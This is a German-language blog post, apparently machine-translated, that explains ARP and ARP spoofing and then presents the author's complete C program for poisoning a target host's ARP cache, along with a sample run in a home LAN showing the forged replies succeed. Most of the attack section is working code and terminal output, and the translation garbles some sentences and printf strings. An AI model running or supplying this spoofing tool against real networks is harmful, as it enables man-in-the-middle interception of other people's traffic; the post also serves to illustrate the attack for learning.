[LINUX] Ich habe ARP-Spoofing ausprobiert

Einführung

Ich habe ARP-Spoofing ausprobiert, einen Angriff, der die Eigenschaften von [ARP (Address Resolution Protocol)] verwendet (https://ja.wikipedia.org/wiki/Address_Resolution_Protocol).

Umgebung

ARP Erstens dient ARP (Address Resolution Protocol) zum Zuordnen von IP-Adressen zu MAC-Adressen. Angenommen, ein allgemeines LAN, beispielsweise wenn Host A mit dem Router kommunizieren möchte, sendet Host A eine ARP-Anforderung unter Verwendung der IP-Adresse (IP-R) des Routers.

図1.png

Wenn der Router die Anforderung empfängt, gibt er eine ARP-Antwort an Host A zurück, um seine MAC-Adresse zu übermitteln.

図2.png

Wenn Host A die ARP-Antwort empfängt, aktualisiert er seinen ARP-Cache und kann mit dem Router kommunizieren. 図3.png

ARP-Spoofing

Ein Angriff, der diese ARP-Eigenschaft nutzt, ist ARP-Spoofing. ARP hat die Eigenschaft, bei zwei Hauptangriffen eingesetzt zu werden.

--Stateless Protokoll

Selbst wenn ein ungültiges ARP-Paket empfangen wird, wird der Cache von oben aktualisiert.

Angenommen, es gibt Angreifer im selben Segment. Ein Angreifer sendet eine ARP-Antwort an Host A unter Verwendung der IP-Adresse des Routers, um den Cache von Host A in einen böswilligen Cache umzuschreiben.

図4.png

Wenn Host A ein fehlerhaftes ARP-Paket empfängt, aktualisiert es den Cache und das ARP-Spoofing ist erfolgreich.

図5.png

Durch erfolgreiches ARP-Spoofing können alle Host A-Pakete den Angreifer erreichen. Infolgedessen der Angreifer

Solche Aktionen sind möglich.

ARP-Spoofing-Experiment

Es gibt verschiedene Tools für ARP-Spoofing. ARP-Spoofing kann einfach durch Umschreiben der Quell-IP-Adresse des zu sendenden ARP-Pakets ausgeführt werden. Daher ist die Implementierung meiner Meinung nach relativ einfach.

Also habe ich es tatsächlich geschrieben. (Grob)

arpspoofing.h


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define IP_CHAR_LEN 15

//Erstellen eines ARP-Sockets
int create_arp_sock();

//IP vom Schnittstellennamen,MAC-Adresse abrufen
void set_if_info(int sock, char *if_name, char* if_ip, unsigned char* if_mac);

//Socket-Adresse
void set_sockaddr(struct sockaddr_ll *sll, char *if_name);

//ARP-Einstellungen
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op);

//MAC-Adresse des Zielhosts abrufen
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac);

//Konvertieren Sie die Zeichenfolge in die MAC-Adresse des vorzeichenlosen Zeichens
void char2mac(char* macadd, unsigned char* mac_str);

//Ausgabe der MAC-Adresse
void print_macaddr(unsigned char* macaddr);

//Führen Sie ein ARP-Spoofing durch
void arp_spoofing(char *argv[]);

arpspoofing.c


#include "arpspoofing.h"

int create_arp_sock()
{
    int arp_sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (arp_sock < 0)
    {
        perror("arp sock");
        printf("errno: %d\n", errno);
        return 1;
    }
    return arp_sock;
}

void set_if_info(int sock, char *if_name, char* if_ip,unsigned char* if_mac)
{
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_addr.sa_family = AF_INET;
    memcpy(ifr.ifr_name, if_name, 6);
    
    //IP-Adresse erhalten
    if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
    {
        perror("ip addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_ip, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), IP_CHAR_LEN);

    //MAC-Adresse abrufen
    if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
    {
        perror("mac addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_mac, ifr.ifr_hwaddr.sa_data, 6); 

}

void set_sockaddr(struct sockaddr_ll *sll, char *if_name)
{
    memset(sll, 0x0, sizeof(sll));                  
    sll->sll_family = AF_PACKET;                    /*Immer AF_PACKET */
    sll->sll_protocol = htons(ETH_P_ARP);           /*Protokoll der physikalischen Schicht*/
    sll->sll_ifindex = if_nametoindex(if_name);     /*Schnittstellennummer*/
    sll->sll_halen = 6;                             /*Adresslänge*/
    memset(&sll->sll_addr, 0xff, 6);                /*Adresse der physischen Schicht*/
}

void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op)
{
    memset(arpPacket, 0x0, sizeof(arpPacket));
    arpPacket->arp_hrd = htons(1);                  /* Format of hardware address.  */
    arpPacket->arp_pro = htons(ETHERTYPE_IP);       /* Format of protocol address.  */
    arpPacket->arp_hln = 6;                         /* Length of hardware address.  */
    arpPacket->arp_pln = 4;                         /* Length of protocol address.  */
    arpPacket->arp_op = htons(op);                  /* ARP opcode (command).  */

    memcpy(arpPacket->arp_sha, s_mac, 6);                       //Quell-MAC
    inet_aton(s_ip, (struct in_addr *)&arpPacket->arp_spa);     //Quell-IP
    memcpy(arpPacket->arp_tha, t_mac, 6);                       //Ziel-MAC
    inet_aton(t_ip, (struct in_addr *)&arpPacket->arp_tpa);     //Ziel-IP
}

void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac)
{
    //Wiederholen Sie diesen Vorgang, bis die MAC-Adresse der angegebenen IP-Adresse aufgelöst werden kann
    while(1)
    {
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
            0, (struct sockaddr *)&sll, sizeof(sll)) < 0){
            perror("sendto");
            printf("errno: %d\n", errno);
            break;
        }
        char buf[256];
            memset(buf,0x0,sizeof(buf));
            int arp_size = recvfrom(arp_sock, buf, sizeof(buf), 0, NULL, NULL);

            //Wenn ein ARP-Paket ankommt
            if(arp_size < 0) {
                printf("errno: %d\n",errno);
            }else{
                struct ether_arp *ether_arp = (struct ether_arp*) buf;
                char ip_address[IP_CHAR_LEN];
                memcpy(ip_address, inet_ntop(AF_INET, ether_arp->arp_spa, ip_address, IP_CHAR_LEN), IP_CHAR_LEN);

                //Wenn Sie die MAC-Adresse der angegebenen IP-Adresse erhalten können
                if(strcmp((t_ip), ip_address) == 0){
                    memcpy(t_mac, ether_arp->arp_sha, 6);
                    printf("%MAC-Adresse von s-> ", t_ip); 
                    print_macaddr(t_mac);
                    break;
                }else{
                    printf("%Erfassen der MAC-Adresse von s...\n", t_ip);
                }

            }
        sleep(3);
    }
}

void char2mac(char* macadd, unsigned char* mac_str){
    char* mac = macadd;
    char temp[3];
    int i;
    for(i = 0; i < 6; i++){
        temp[0] = mac[i * 3 + 0];
        temp[1] = mac[i * 3 + 1];
        temp[2] = 0x00;
        mac_str[i] = strtol(temp, NULL, 16);
    }

}

void print_macaddr(unsigned char* macaddr) 
{
   printf(" %02x:%02x:%02x:%02x:%02x:%02x\n",macaddr[0],macaddr[1],macaddr[2],macaddr[3],macaddr[4],macaddr[5]);
}


void arp_spoofing(char *argv[])
{

    char if_ip[IP_CHAR_LEN];    //Meine IP-Adresse
    unsigned char if_mac[6];    //Meine MAC-Adresse
    char t_ip[IP_CHAR_LEN];     //IP-Adresse des Zielhosts
    unsigned char t_mac[6];     //MAC-Adresse des Zielhosts
    char fake_ip[IP_CHAR_LEN];  //IP des Hosts, für den Sie sich ausgeben möchten
 
    //Erstellen eines ARP-Sockets
    int arp_sock = create_arp_sock();

    //IP vom Schnittstellennamen,MAC-Adresse abrufen
    set_if_info(arp_sock, argv[1], if_ip, if_mac);

    //Socket-Adresse
    struct sockaddr_ll sll;
    set_sockaddr(&sll, argv[1]);

    //binden
    if(bind(arp_sock, (struct sockaddr*)&sll, sizeof(sll)) < 0) 
    {
        perror("bind");
        printf("errno: %d\n",errno);
        return;
    }

    //Arp-Paket-Einstellungen(Zum Abrufen der MAC-Adresse des Zielhosts)
    char2mac("00:00:00:00:00:00",t_mac);
    memcpy(t_ip, argv[3], IP_CHAR_LEN);
    struct ether_arp arpPacket;
    set_arp_header(&arpPacket, if_mac, if_ip, t_mac, t_ip, ARPOP_REQUEST);

    //MAC-Adresse des Zielhosts abrufen
    get_t_mac(arp_sock, arpPacket, sll, sizeof(sll), t_ip, t_mac);

    //Arp-Paket-Einstellungen(Für ARP-Spoofing)
    memcpy(fake_ip, argv[2], IP_CHAR_LEN); 
    set_arp_header(&arpPacket, if_mac, fake_ip, t_mac, t_ip, ARPOP_REPLY);
    int count = 0;

    //ARP-Spoofing
    printf("-------------------------------------------\n");
    printf("Sender MAC : "); print_macaddr(if_mac);
    printf("Sender IP  : %s \n", fake_ip);                             
    printf("Target MAC : "); print_macaddr(t_mac);
    printf("Target IP  : %s \n", t_ip);      
    printf("-------------------------------------------\n");

    while(count < 3){ 
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
                    0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
        {
            perror("sendto");
            printf("errno: %d\n", errno);
            return;
        }
        printf("%s is at", fake_ip); print_macaddr(if_mac);
        sleep(3);
        count++;
    }

    close(arp_sock);
    return;
}


int main(int argc, char *argv[])
{
    //Argumentprüfung
    if(argc < 4){
        printf("usage: <if name> <src IP> <dst IP> \n");
        return 0;
    }

    printf("start arp spoofing...\n");
    arp_spoofing(argv);
    printf("arp spoofing succeeded!\n");

}

Lassen Sie es uns diesmal als Beispiel ausführen, wenn ein Angreifer vorgibt, "192.168.11.1" gegen einen Host von "192.168.11.15" zu sein. Die IP- und MAC-Adressen des Angreifers lauten zu diesem Zeitpunkt wie folgt.

IP-Adresse des Angreifers MAC-Adresse des Angreifers
192.168.11.16 00:0c:29:2d:52:d6

Terminal


$ gcc -o arpspoofing.c
$ sudo ./arpspoofing ens33 192.168.11.1 192.168.11.15
start arp spoofing...
192.168.11.15 MAC-Adressen->  <192.168.11.15 MAC-Adressen>
-------------------------------------------
Sender MAC : 00:0c:29:2d:52:d6
Sender IP  : 192.168.11.1
Target MAC : <192.168.11.15 MAC-Adressen>
Target IP  : 192.168.11.15
-------------------------------------------
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
arp spoofing succeeded!

Lassen Sie uns den ARP-Cache von "192.168.11.15" überprüfen.

image.png

Es wurde sicherlich neu geschrieben und es wurde bestätigt, dass dieselbe MAC-Adresse im ARP-Cache registriert war.

Zusammenfassung

ARP-Spoofing ist beängstigend, da es eine große Bedrohung für die einfache Ausführung darstellen kann.

Recommended Posts

Ich habe ARP-Spoofing ausprobiert
Ich habe versucht zu kratzen
Ich habe PyQ ausprobiert
Ich habe AutoKeras ausprobiert
Ich habe es mit Papiermühle versucht
Ich habe versucht, Django-Slack
Ich habe es mit Django versucht
Ich habe es mit Spleeter versucht
Ich habe es mit cgo versucht
Ich habe versucht, Argparse zu verwenden
Ich habe versucht, anytree zu verwenden
Ich habe versucht, aiomysql zu verwenden
Ich habe versucht, Summpy zu verwenden
Ich habe Python> autopep8 ausprobiert
Ich habe versucht, Coturn zu verwenden
Ich habe versucht, Pipenv zu verwenden
Ich habe versucht, Matplotlib zu verwenden
Ich habe versucht, "Anvil" zu verwenden.
Ich habe versucht, Hubot zu verwenden
Ich habe versucht, ESPCN zu verwenden
Ich habe PyCaret2.0 (pycaret-nightly) ausprobiert.
Ich habe versucht, openpyxl zu verwenden
Ich habe versucht, tief zu lernen
Ich habe AWS CDK ausprobiert!
Ich habe versucht, Ipython zu verwenden
Ich habe versucht zu debuggen.
Ich habe versucht, PyCaret zu verwenden
Ich habe versucht, Cron zu verwenden
Ich habe Kivys Kartenansicht ausprobiert
Ich habe versucht, ngrok zu verwenden
Ich habe versucht, face_recognition zu verwenden
Ich habe versucht, Jupyter zu verwenden
ARP-Spoofing mit Python
Ich habe versucht, EfficientDet zu verschieben
Ich habe versucht, Shell zu programmieren
Ich habe versucht, doctest zu verwenden
Ich habe Python> Decorator ausprobiert
Ich habe versucht, TensorFlow auszuführen
Ich habe Auto Gluon ausprobiert
Ich habe versucht, Folium zu verwenden
Ich habe versucht, jinja2 zu verwenden
Ich habe AWS Iot ausprobiert
Ich habe die Bayes'sche Optimierung ausprobiert!
Ich habe versucht, Folium zu verwenden
Ich habe versucht, das Zeitfenster zu verwenden
Ich habe Value Iteration Networks ausprobiert
Ich habe fp-Wachstum mit Python versucht
Ich habe versucht, mit Python zu kratzen
Ich habe die Bildklassifizierung von AutoGluon ausprobiert
Ich habe versucht, mit Elasticsearch Ranking zu lernen!
[Ich habe versucht, Pythonista 3 zu verwenden] Einführung
Ich habe versucht, easydict (Memo) zu verwenden.
Ich habe versucht, SVM zu organisieren.
Ich habe versucht, das Gesicht mit Face ++ zu erkennen
Ich habe versucht, RandomForest zu verwenden
Ich habe versucht, mit PyCaret zu clustern
Ich habe versucht, BigQuery ML zu verwenden